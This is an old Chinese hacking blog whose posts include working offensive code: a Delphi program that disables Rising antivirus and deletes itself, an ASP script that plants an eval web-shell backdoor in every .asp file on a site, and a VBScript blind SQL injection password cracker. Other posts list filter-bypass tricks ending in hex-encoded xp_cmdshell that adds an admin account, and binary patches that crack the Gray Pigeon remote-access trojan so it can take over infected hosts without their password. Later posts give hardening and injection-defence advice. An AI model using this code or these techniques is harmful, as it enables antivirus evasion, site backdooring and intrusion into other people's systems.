<SPAN id="tt_tagDIV" style="word-break:break-all" class="tt_title">昨日星辰’s blog</SPAN>
  昨日星辰’s blog
 
  希望在这条路上找些志同道合的朋友,也希望得到各位高人的指点,感激不尽!
 
 
   
 
2008.02.17 01:52:00 
 公告!!  
从今日起,本人不会再对这个博客进行更新,所有的新文章都在我的新博客http://hi.baidu.com/zrxc/里,请大家多多支持,谢谢!
标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.11.10 19:25:00 
 编程实现停止瑞星监控delphi  

procedure StopRising;
var
  hWindow: HWND;
  lpClassName: array[0..20] of char;
begin
  hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
  repeat
    GetClassName(hWindow, lpClassName, 20);
    if lpClassName = '#32770' then //判断搜索窗口的类名
      PostMessage(hWindow, WM_COMMAND, 40027, 0); //发送消息,点击“禁用”菜单
    hWindow := GetWindow(hWindow, GW_HWNDNEXT);
  until
    hWindow = 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  StopRising; //调用
end;


控制台版:
program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile,
    'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del %0');
  CloseFile(BatchFile);

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
    False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
    ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;


procedure StopRising;
var
   hWindow: HWND;
   lpClassName: array[0..20] of char;
begin
   hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
   repeat
     GetClassName(hWindow, lpClassName, 20);
     if lpClassName = '#32770' then //判断搜索窗口的类名
     PostMessage(hWindow, WM_COMMAND,40027,0);
     PostMessage(hWindow, WM_COMMAND,2775,0);
     PostMessage(hWindow, WM_COMMAND,32776,0);
     hWindow := GetWindow(hWindow, GW_HWNDNEXT);
   until
     hWindow = 0;
end;
begin
   StopRising; //调用
   DeleteMe;
end.

标签:网络安全
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.11.10 19:22:00 
 FSO遍历目录实现全站插马  

<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2

If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>

 

标签:网络安全
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.11.10 19:20:00 
 vbs实现sql注入  

有人用Microsoft ACT提供的Test.SendRequest("http://"; & g_sServer & "/testfiles/browser.asp")方法写了一个vbs注入工具.

不过利用改对象还要装一个几十M大的工具包,我这里仿照给脚本,采用Microsoft.XMLHTTP来实现,利用open函数提交,对有注入的页面进行密码破解:
RightW = "OK!" '定义正确页面返回的关键字.
tablename = "useradmin" '定义表名,列名,本程序不提供表名,列名猜测功能,仅仅提供密码猜测.
filedname = "password"
WScript.Echo "Start check the tname and the fname,please waiting... ..."

URL="http://127.0.0.1/fwork/f.asp?username=admin&password=abzvc" '有注入漏洞的url地址,下面提供的是针对字符型漏洞的注入,数字型只需要稍微更改即可.

Set xPost = createObject("Microsoft.XMLHTTP") '检测表名是否正确
sURL1=URL&"'%20and%20(Select%20Count(1)%20from%20[useradmin])>='0"
xPost.Open "POST",sURL1,0
xPost.Send "1212312"
If instr(xPost.responseText,RightW) <> 0 Then
WScript.Echo "table name is:"&useradmin
End if

sURL2=URL&"'%20and%20(Select%20Count([useradmin].[password])%20from%20[useradmin])>='0" '检测列名是否正确
xPost.Open "POST",sURL2,0
xPost.Send "1212312"
If instr(xPost.responseText,RightW) <> 0 Then
WScript.Echo "field name is:"&filedname
End if

WScript.Echo "Start gussing,Waiting... ..."

For i = 0 to 128 step 1 '猜测密码长度
sURL3=URL&"'and+(select%20username%20from%20useradmin%20where%20len(password)='"&i&"'%20and%20username='user')>='0"
xPost.Open "POST",sURL3,0
xPost.Send "1212312"
If instr(xPost.responseText, RightW) <> 0 Then
Exit For
End If
Next
pwd_len = i
WScript.Echo "the pass length is:"&pwd_len

pwd = "" '猜测密码
strings = "0123456789abcdefghijklmnopqrstuvwxyz" '自定义密码字符串
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1

sURL4=URL&"'%20and%20(select%20username%20from%20useradmin%20where%20left(password,"&j&")%20='"&pwd&mid(strings,k,1)&"'%20and%20username='user')>='0"
xPost.Open "POST",sURL4,0
xPost.Send "1212312"

If instr(xPost.responseText,RightW) <> 0 Then
pwd = pwd & mid(strings,k,1)
Exit For
End If
Next
Next

If errn Then
WScript.Echo "error:" & Error.Description
Error.Clear
Else
WScript.Echo "!!!Password:" & pwd
End If

 

标签:网络安全
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.11.10 18:57:00 
 突破SQL注入限制的一点想法  
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“'”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……

经过我的收集,大部分的防注入程序都过滤了以下关键字:

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。

对于关键字的过滤,以下是我收集的以及我个人的一些想法。

1、运用编码技术绕过

如URLEncode编码,ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过

如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or' swords' =‘swords' ,由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行。

3、运用字符串判断代替

用经典的or 1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过

可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or 'swords' = N' swords' ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过

效果值得考证,但毕竟是一种方法。如 or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..' )

6、通过LIKE绕过

以前怎么就没想到呢?如or 'swords' LIKE 'sw'!!!显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过

与上面的LIKE的思路差不多,如or 'swords' IN ('swords')

8、通过BETWEEN绕过

如or 'swords' BETWEEN 'rw' AND 'tw'

9、通过>或者<绕过

or 'swords' > 'sw'
or 'swords' < 'tw'
or 1<3

……

10、运用注释语句绕过

用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a

效果:http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 就是“net user angel pass /add”的意思。

小弟在此抛一块砖,希望哪位大侠能赏块玉,那我就心满意足了……

标签:网络安全
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.06.28 10:46:36 
 Red Hat Cluster Suite cman 本地缓冲区溢出漏洞  

受影响系统:
RedHat Cluster Suite

描述:
Red Hat Cluster Suite是运行在Red Hat Enterprise上的企业应用软件,用于管理集群系统。

Cluster Suite的cman工具实现上存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升权限。

cman工具cman/daemon/daemon.c文件的process_client()函数没有正确地验证客户端消息的大小,如果本地用户发送了特制消息的话,就可以触发缓冲区溢出,导致以集群管理器的权限执行任意指令或导致管理器崩溃。

厂商补丁:
RedHat
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://www.redhat.com/archives/cluster-devel/2007-June/msg00130.html
https://www.redhat.com/archives/cluster-devel/2007-June/msg00149.html

标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.05.10 22:45:26 晴
 完全破解灰鸽子成为会员!!  

1.给灰鸽子脱壳
要想得到灰鸽子的全部功能并挖出他的漏洞,就要给他脱壳。用ASPackdie给他脱壳(因为它是用ASPack加的壳),这个软件很好找,一些黑客网站上都有。先运行ASPackdie找到灰鸽子的主文件H_Client.exe,就会自动脱壳。脱壳前文件709k,脱壳后2.69M。把脱壳后的文件upacked.exe改为H_Client.exe,原文件H_Client.exe改为H_Client1.exe以后提到的H_Client.exe均为脱壳后的文件。
2.解决灰鸽子自我检测问题
脱壳后运行灰鸽子会出现:文件以被非法修改!这可能是......(太长不写了,偷下懒)。现在是关键了,用UltraEdit(一个16进制文件编辑器,黑客网站上都有)修改灰的主文件H_Client.exe,运行UltraEdit打开灰的主文件,查找:“E89044EFFF”把它改为“9090909090”接下来在你找到的地址后面隔两个字节把750C改为EB0C。然后保存修改结果并退出,就解决了会的自我检测。可正常运行了。
3.成为注册用户
运行UltraEdit打开灰的主文件,查找“E80573ECFF755D”改为“E80573ECFF9090”,“E84371ECFF7556”改为“E84371ECFF9090”,这样就彻底解决了网上校验问题,成为注册用户了!除了上面问题灰鸽子还会显示对话框提醒你注册。
4.去掉提醒注册的对话框
运行UltraEdit打开灰的主文件,查找“80B855090000007513”改为“80B85509000000EB13”一共3处都要改。灰鸽子对免费用户有功能限制,共14处。(等一下我要现找,用W32Dasm,一个反汇编软件)
5.去掉功能限制(找了5分钟而已)
运行UltraEdit打开灰的主文件,查找“80BB55090000007518”改为“80BB5509000000EB18”,“80B855090000007517”改为“80B85509000000EB17”,“80B85509000000752E”改为“80B85509000000EB2E”,“80B855090000007526”改为“80B85509000000EB26”,“80B85509000000751E”改为“80B85509000000EB1E”均为2处都要改过来,“80BB5509000000751B”改为“80BB5509000000EB1B”有4处,都要改过来。共14处。
6.突破密码连接限制
就是不需要密码也可以连接其他种了灰鸽子的主机。因为灰鸽子验证连接密码是否正确以及是否进入目标主机,完全有客户端程序说了算,所以我们就可以简单修改灰鸽子主程序,就可以在连接密码不正确的情况下进入任何一台中了灰鸽子的主机。运行UltraEdit打开灰的主文件,查找“0F851A020000”和“0F85AC000000”都改为“909090909090”,这样就解决了灰鸽子的连接密码限制问题。
7.以上文章只适用于灰鸽子1.0正式版。其他版本不适用。如果有兴趣的朋友可以自己解决。(我已经把其他版本破解了:))



声明:灰鸽子自我保护上还有缺陷,希望作者能早日解决。这也是写这篇文章的目的。最后声明:本文只做技术上的交流,希望的家不要用本文的方法进行破坏,否则后果自负。本人概不负责,事实上,灰鸽子是一款很出色的远程管理软件,希望感兴趣的朋友能去注册支持国产软件的发展,愿灰鸽子能展翅高飞,早日成为远程管理软件之王。

标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.02.09 16:47:05 晴
 攻防技术—— 网络防火墙防范溢出策略 [原]  

  “溢出”一直以来都是很多黑帽子黑客最常用(或者说是最喜欢用)的手段之一,随安全文化的逐步普及,大量的公开shellcode(“溢出”代码)与溢出攻击原理都可以随意在各大的网络安全网站中找得到,由此衍生了一系列的安全隐患...小黑黑使用它们来进行非法的攻击、恶意程序员使用它们来制造蠕虫等等...而网络防火墙作为人们最喜欢的网络安全“设施”之一,它又能如何“拦截”这一类型的攻击呢?

  目前大多的防火墙系统都是针对包过滤规则进行安全防御的,这类型的防火墙再高也只能工作在传输层,而溢出程序的shellcode是放在应用层的,因此对这类攻击就无能为力了。打个比方:前段时间比较火热的IIS WEBDAV溢出漏洞,若黑客攻击成功能直接得到ROOTSHELL(命令行管理员控制台),它是在正常提供HTTP服务的情况下产生的溢出漏洞,若在不打补丁与手工处理的情况下一台防火墙又能做到什么呢?相信你除了把访问该服务器TCP80端口(提供正常地HTTP服务的情况下)的包过滤掉以外就什么都不会去做了,当然,这样也会使你的HTTP服务无法正常地开放(等于没有提供服务)。下面就以这个漏洞为“论点&题材”,说说自己的解决方案。

  1)对希望保护的主机实行“单独开放端口”访问控制策略

  所谓“单独开放端口”就是指只开放需要提供的端口,对于不需要提供服务的端口实行过滤策略。打个比方,现在我们需要保护一台存在WebDAV缺陷的WEB服务器,如何能令它不被骇客入侵呢?答案是:在这台WEB服务器的前端防火墙中加入一个“只允许其他机器访问此机的TCP80端口”的包过滤规则(至于阁下的防火墙能否实现这样的规则就另当别论了)。加上这个规则又会有怎样的效果呢?经常做入侵渗透测试的朋友应该比我还清楚远程溢出的攻击实施流程了吧?

  ①使用缺陷扫描器找到存在远程溢出漏洞的主机-》②确认其版本号(如果有需要的话)-》③使用exploit(攻击程序)发送shellcode-》④确认远程溢出成功后使用NC或TELNET等程序连接被溢出主机的端口-》⑤得到SHELL。

  使用“单独开放端口”策略的解决方案对整个远程溢出过程所发生的前三步都是无能为力的,但来到第四步这个策略能有效地阻止骇客连上有缺陷主机的被溢出端口,从而切断了骇客的恶意攻击手段。

  优点:操作简单,一般的网络/系统管理员就能完成相关的操作。

  缺点:对溢出后使用端口复用进行控制的EXPLOITS就无能为力了;对现实中的溢出后得到反向连接控制的EPLOITS也是无能为力;不能阻止D.o.S方面的溢出攻击。

  2)使用应用层防火墙系统

  这里所谓的应用层并不是想特别指明该防火墙工作在应用层,而是想指明它能在应用层对数据进行处理。由于应用层的协议/服务种类比较多,因此针对应用层形式的防火墙就有一定的市场局限性了。就楼上所提到的案例而言我们可以使用处理HTTP协议的应用层防火墙对存在WebDAV缺陷的服务器订制保护规则,保证服务器不收此类攻击的影响。应用层中的HTTP协议防火墙系统不多,它的基本防御原理与特点是当服务端接受到一个发送至TCP80端口的数据包时,首先就会将该包转移至SecureIIS,SecureIIS就会对该包进行分析并解码该包的应用层数据,将得到的数据与你本身定制的规则进行数据配对,一旦发现条件相符饿数值就会执行规则所指定的相应操作。

  优点:能有效地切断一些来自应用层的攻击(如溢出、SQL注入等)。

  缺点:因为需要安装在服务器上,所以会占用一定的系统资源;(一旦它受到POST行为发出的中文数据时就会自动认为是高位攻击代码,自动将其隔离,并进行相关的处理操作)。

  3)使用IDS功能的防火墙系统

  现在国内自主开发的防火墙系统可谓是进入“白热化”了,什么百兆、千兆、2U、4U...性能参数的比较本已经日趋激烈了,再开始有不少厂商将技术重点转移在了“多功能”的方面上,在防火墙中继承IDS模块已经不是什么新鲜事了,使用这类产品可以达到监控应用层数据的效果。

  优点:便于管理。

  缺点:费用支出增大;长期需要人力资源对其进行管理与设施维护;防火墙上的IDS模块功能有限。


标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.02.09 16:40:17 晴
 三个步骤 堵死网站被SQL注入的隐患 [原]  
SQL注入是什么?

  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  网站的恶梦——SQL注入

  SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。

  防御SQL注入有妙法

  第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试。可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

  第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

  第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

  3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

  我们通过上面的三步完成了对数据库的修改。

  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

标签:
作者 zxcvbnmd89 阅读全文 |  评论()  | 人气() |  引用()  | 推荐 | 
 
2007.02.09 16:35:21 晴
 系统安全:系统安全之Win2000Server安全配置入门 [原]  
  目前,Windows2000 SERVER是比较流行的服务器操作系统之一,但是要想安全的配置微软的这个操作系统,却不是一件容易的事。本文试图对Windows2000 SERVER的安全配置进行初步的探讨。 

  一、 定制自己的Windows2000 SERVER 

  1. 版本的选择:Windows2000有各种语言的版本,对于我们来说,可以选择英文版或简体中文版,我强烈建议:在语言不成为障碍的情况下,请一定使用英文版。要知道,微软的产品是以Bug & Patch而著称的,中文版的Bug远远多于英文版,而补丁一般还会迟至少半个月(也就是说一般微软公布了漏洞后你的机子还会有半个月处于无保护状况) 

  2. 组件的定制:Windows2000在默认情况下会安装一些常用的组件,但是正是这个默认安装是极度危险的(米特尼科说过,他可以进入任何一台默认安装的服务器,我虽然不敢这么说,不过如果你的主机是Windows2000 SERVER的默认安装,我可以告诉你,你死定了)你应该确切的知道你需要哪些服务,而且仅仅安装你确实需要的服务,根据安全原则,最少的服务+最小的权限=最大的安全。典型的WEB服务器需要的最小组件选择是:只安装IIS的Com Files,IIS Snap-In,WWW Server组件。如果你确实需要安装其他组件,请慎重,特别是:Indexing Service, FrontPage 2000 Server Extensions, Internet Service Manager (HTML)这几个危险服务。 

  3. 管理应用程序的选择 

  选择一个好的远程管理软件是非常重要的事,这不仅仅是安全方面的要求,也是应用方面的需要。Windows2000的Terminal Service是基于RDP(远程桌面协议)的远程控制软件,他的速度快,操作方便,比较适合用来进行常规操作。但是,Terminal Service也有其不足之处,由于它使用的是虚拟桌面,再加上微软编程的不严谨,当你使用Terminal Service进行安装软件或重起服务器等与真实桌面交互的操作时,往往会出现哭笑不得的现象,例如:使用Terminal Service重起微软的认证服务器(Compaq, IBM等)可能会直接关机。所以,为了安全起见,我建议你再配备一个远程控制软件作为辅助,和Terminal Service互补,象PcAnyWhere就是一个不错的选择。 

  二、 正确安装Windows2000 SERVER 

  1.分区和逻辑盘的分配,有一些朋友为了省事,将硬盘仅仅分为一个逻辑盘,所有的软件都装在C驱上,这是很不好的,建议最少建立两个分区,一个系统分区,一个应用程序分区,这是因为,微软的IIS经常会有泄漏源码/溢出的漏洞,如果把系统和IIS放在同一个驱动器会导致系统文件的泄漏甚至入侵者远程获取ADMIN。推荐的安全配置是建立三个逻辑驱动器,第一个大于2G,用来装系统和重要的日志文件,第二个放IIS,第三个放FTP,这样无论IIS或FTP出了安全漏洞都不会直接影响到系统目录和系统文件。要知道,IIS和FTP是对外服务的,比较容易出问题。而把IIS和FTP分开主要是为了防止入侵者上传程序并从IIS中运行。(这个可能会导致程序开发人员和编辑的苦恼,管他呢,反正你是管理员J) 

  2.安装顺序的选择:不要觉得:顺序有什么重要?只要安装好了,怎么装都可以的。错!Windows2000在安装中有几个顺序是一定要注意的: 

  首先,何时接入网络:Windows2000在安装时有一个漏洞,在你输入Administrator密码后,系统就建立了ADMIN$的共享,但是并没有用你刚刚输入的密码来保护它,这种情况一直持续到你再次启动后,在此期间,任何人都可以通过ADMIN$进入你的机器;同时,只要安装一完成,各种服务就会自动运行,而这时的服务器是满身漏洞,非常容易进入的,因此,在完全安装并配置好Windows2000 SERVER之前,一定不要把主机接入网络。 

  其次,补丁的安装:补丁的安装应该在所有应用程序安装完之后,因为补丁程序往往要替换/修改某些系统文件,如果先安装补丁再安装应用程序有可能导致补丁不能起到应有的效果,例如:IIS的HotFix就要求每次更改IIS的配置都需要安装(变不变态?) 

  三、 安全配置Windows2000 SERVER 

  即使正确的安装了Windows2000 SERVER,系统还是有很多的漏洞,还需要进一步进行细致地配置。 

  1.端口:端口是计算机和外部网络相连的逻辑接口,也是计算机的第一道屏障,端口配置正确与否直接影响到主机的安全 

  2.IIS:IIS是微软的组件中漏洞最多的一个,平均两三个月就要出一个漏洞,而微软的IIS默认安装又实在不敢恭维,所以IIS的配置是我们的重点,现在大家跟着我一起来: 

  首先,把C盘那个什么Inetpub目录彻底删掉,在D盘建一个Inetpub(要是你不放心用默认目录名也可以改一个名字,但是自己要记得)在IIS管理器中将主目录指向D:\Inetpub;其次,那个IIS安装时默认的什么scripts等虚拟目录一概删除(罪恶之源呀,忘了::URL::http://www.target.com/scripts/..%c1%1c../winnt/system32/cmd.exe了?我们虽然已经把Inetpub从系统盘挪出来了,但是还是小心为上),如果你需要什么权限的目录可以自己慢慢建,需要什么权限开什么。(特别注意写权限和执行程序的权限,没有绝对的必要千万不要给) 

  3.应用程序配置:在IIS管理器中删除必须之外的任何无用映射,必须指的是ASP, ASA和其他你确实需要用到的文件类型,例如你用到stml等(使用server side include),实际上90%的主机有了上面两个映射就够了,其余的映射几乎每个都有一个凄惨的故事:htw, htr, idq, ida……想知道这些故事?去查以前的漏洞列表吧。什么?找不到在哪里删?在IIS管理器中右击主机-
>属性->WWW服务 编辑->主目录 配置->应用程序映射,然后就开始一个个删吧(里面没有全选的,嘿嘿)。接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本(除非你想ASP出错的时候用户知道你的程序/网络/数据库结构)错误文本写什么?随便你喜欢,自己看着办。点击确定退出时别忘了让虚拟站点继承你设定的属性。 

  为了对付日益增多的cgi漏洞扫描器,还有一个小技巧可以参考,在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件,可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单,大多数CGI扫描器在编写时为了方便,都是通过查看返回页面的HTTP代码来判断漏洞是否存在的,例如,著名的IDQ漏洞一般都是通过取1.idq来检验,如果返回HTTP200,就认为是有这个漏洞,反之如果返回HTTP404就认为没有,如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件,那么所有的扫描无论存不存在漏洞都会返回HTTP200,90%的CGI扫描器会认为你什么漏洞都有,结果反而掩盖了你真正的漏洞,让入侵者茫然无处下手(武侠小说中常说全身漏洞反而无懈可击,难道说的就是这个境界?)不过从个人角度来说,我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。 

  最后,为了保险起见,你可以使用IIS的备份功能,将刚刚的设定全部备份下来,这样就可以随时恢复IIS的安全配置。还有,如果你怕IIS负荷过高导致服务器满负荷死机,也可以在性能中打开CPU限制,例如将IIS的最大CPU使用率限制在70%。 

  4.账号安全: 

  Windows2000的账号安全是另一个重点,首先,Windows2000的默认安装允许任何用户通过空用户得到系统所有账号/共享列表,这个本来是为了方便局域网用户共享文件的,但是一个远程用户也可以得到你的用户列表并使用暴力法破解用户密码。很多朋友都知道可以通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接,实际上Windows2000的本地安全策略(如果是域服务器就是在域服务器安全和域安全策略中)就有这样的选项RestrictAnonymous(匿名连接的额外限制),这个选项有三个值: 

  0:None. Rely on default permissions(无,取决于默认的权限) 

  1:Do not allow enumeration of SAM accounts and shares(不允许枚举SAM帐号和共享) 

  2:No access without explicit anonymous permissions(没有显式匿名权限就不允许访问) 

  0这个值是系统默认的,什么限制都没有,远程用户可以知道你机器上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum等等,对服务器来说这样的设置非常危险。 

  1这个值是只允许非NULL用户存取SAM账号信息和共享信息。 

  2这个值是在Windows2000中才支持的,需要注意的是,如果你一旦使用了这个值,你的共享估计就全部完蛋了,所以我推荐你还是设为1比较好。 

  好了,入侵者现在没有办法拿到我们的用户列表,我们的账户安全了……慢着,至少还有一个账户是可以跑密码的,这就是系统内建的administrator,怎么办?我改改改,在计算机管理->用户账号中右击administrator然后改名,改成什么随便你,只要能记得就行了。 

  不对不对,我都已经改了用户名了,怎么还是有人跑我管理员的密码?幸好我的密码够长,但是这也不是办法呀?嗯,那肯定是在本地或者Terminal Service的登录界面看到的,好吧,我们再来把HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\winlogon项中的Don't Display Last User Name串数据改成1,这样系统不会自动显示上次的登录用户名。 

  将服务器注册表HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\ WindowsNT\CurrentVersion\Winlogon项中的Don't Display Last User Name串数据修改为1,隐藏上次登陆控制台的用户名。(哇,世界清静了) 

  5.安全日志:我遇到过这样的情况,一台主机被别人入侵了,系统管理员请我去追查凶手,我登录进去一看:安全日志是空的,倒,请记住:Windows2000的默认安装是不开任何安全审核的!那么请你到本地安全策略->审核策略中打开相应的审核,推荐的审核是: 

  账户管理 成功 失败 

  登录事件 成功 失败 

  对象访问 失败 

  策略更改 成功 失败 

  特权使用 失败 

  系统事件 成功 失败 

  目录服务访问 失败 

  账户登录事件 成功 失败 

  审核项目少的缺点是万一你想看发现没有记录那就一点都没辙;审核项目太多不仅会占用系统资源而且会导致你根本没空去看,这样就失去了审核的意义。 

  与之相关的是: 

  在账户策略->密码策略中设定: 

  密码复杂性要求 启用 

  密码长度最小值 6位 

  强制密码历史 5次 

  最长存留期 30天 

  在账户策略->账户锁定策略中设定: 

  账户锁定 3次错误登录 

  锁定时间 20分钟 

  复位锁定计数 20分钟 

  同样,Terminal Service的安全日志默认也是不开的,我们可以在Terminal Service Configration(远程服务配置)-权限-高级中配置安全审核,一般来说只要记录登录、注销事件就可以了。 

  6.目录和文件权限: 

  为了控制好服务器上用户的权限,同时也为了预防以后可能的入侵和溢出,我们还必须非常小心地设置目录和文件的访问权限,NT的访问权限分为:读取、写入、读取及执行、修改、列目录、完全控制。在默认的情况下,大多数的文件夹对所有用户(Everyone这个组)是完全敞开的(Full Control),你需要根据应用的需要进行权限重设。 

  在进行权限控制时,请记住以下几个原则: 

  (1)、 权限是累计的:如果一个用户同时属于两个组,那么他就有了这两个组所允许的所有权限; 

  (2)、 拒绝的权限要比允许的权限高(拒绝策略会先执行)如果一个用户属于一个被拒绝访问某个资源的组,那么不管其他的权限设置给他开放了多少权限,他也一定不能访问这个资源。所以请非常小心地使用拒绝,任何一个拒绝; 

  (3)、 文件权限比文件夹权限高(这个不用解释了吧?) 

  (4)、 利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优良习惯之一; 

  (5)、 仅给用户真正需要的权限,权限的最小化原则是安全的重要保障; 

  (6)、 预防DoS。 

  在注册表HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters中更改以下值可以帮助你防御一定强度的DoS攻击。 


  SynAttackProtect REG_DWORD 2 
  EnablePMTUDiscovery REG_DWORD 0 
  NoNameReleaseOnDemand REG_DWORD 1 
  EnableDeadGWDetect REG_DWORD 0 
  KeepAliveTime REG_DWORD 300,000 
  PerformRouterDiscovery REG_DWORD 0 
  EnableICMPRedirects REG_DWORD 0
 

